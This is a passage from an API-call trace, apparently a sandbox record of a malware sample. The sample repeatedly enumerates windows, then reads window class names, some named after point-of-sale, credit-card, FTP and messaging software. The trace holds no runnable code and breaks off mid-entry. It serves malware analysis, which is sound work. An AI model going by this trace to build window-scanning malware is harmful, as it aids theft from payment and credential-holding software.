[0159.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.054] Sleep (dwMilliseconds=0x64) [0159.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.056] Sleep (dwMilliseconds=0x64) [0159.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.058] Sleep (dwMilliseconds=0x64) [0159.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.060] Sleep (dwMilliseconds=0x64) [0159.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.062] Sleep (dwMilliseconds=0x64) [0159.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.064] Sleep (dwMilliseconds=0x64) [0159.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.065] Sleep (dwMilliseconds=0x64) [0159.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.067] Sleep (dwMilliseconds=0x64) [0159.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.068] Sleep (dwMilliseconds=0x64) [0159.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.070] Sleep (dwMilliseconds=0x64) [0159.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.071] Sleep (dwMilliseconds=0x64) [0159.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.073] Sleep (dwMilliseconds=0x64) [0159.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.074] Sleep (dwMilliseconds=0x64) [0159.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.076] Sleep (dwMilliseconds=0x64) [0159.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.078] Sleep (dwMilliseconds=0x64) [0159.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.079] Sleep (dwMilliseconds=0x64) [0159.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.081] Sleep (dwMilliseconds=0x64) [0159.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.083] Sleep (dwMilliseconds=0x64) [0159.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.085] Sleep (dwMilliseconds=0x64) [0159.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.087] Sleep (dwMilliseconds=0x64) [0159.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.088] Sleep (dwMilliseconds=0x64) [0159.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0159.091] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0159.091] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0159.091] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0159.091] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0159.091] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.091] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.092] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.092] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.092] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.092] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0159.092] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0159.092] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0159.092] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0159.092] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0159.092] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.092] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.093] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.093] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0159.093] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0159.093] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.093] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0159.093] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0159.093] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0159.093] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0159.093] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0159.093] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0159.093] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.093] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0159.093] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0159.093] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0159.093] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0159.093] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0159.094] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0159.094] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0159.094] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0159.094] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0159.094] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0159.094] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0159.094] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0159.094] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0159.094] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.094] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0159.094] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0159.094] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0159.099] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0159.099] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0159.099] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0159.100] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0159.100] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0159.100] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0159.100] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0159.100] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0159.100] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0159.100] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0159.100] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0159.100] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0159.100] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0159.100] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0159.100] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0159.100] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0159.100] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0159.100] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0159.100] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0159.101] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0159.101] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0159.101] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0159.101] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0159.101] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0159.101] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0159.101] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0159.101] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0159.101] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0159.101] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0159.101] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0159.101] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0159.101] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0159.101] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0159.101] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0159.101] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0159.101] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0159.101] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0159.102] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0159.102] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0159.102] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0159.102] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0159.102] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0159.102] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0159.102] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0159.102] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.102] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.102] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.102] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0159.102] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.102] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.102] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0159.102] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0159.102] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0159.102] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.102] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0159.103] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0159.103] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0159.103] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0159.103] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0159.103] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0159.103] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.103] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0159.103] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0159.104] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0159.104] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0159.104] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.104] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.104] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.104] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.104] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.104] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0159.104] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.104] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0159.104] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0159.104] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0159.104] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0159.104] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0159.104] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0159.104] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0159.104] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0159.104] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0159.105] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0159.105] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0159.105] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.105] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.106] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102b4, 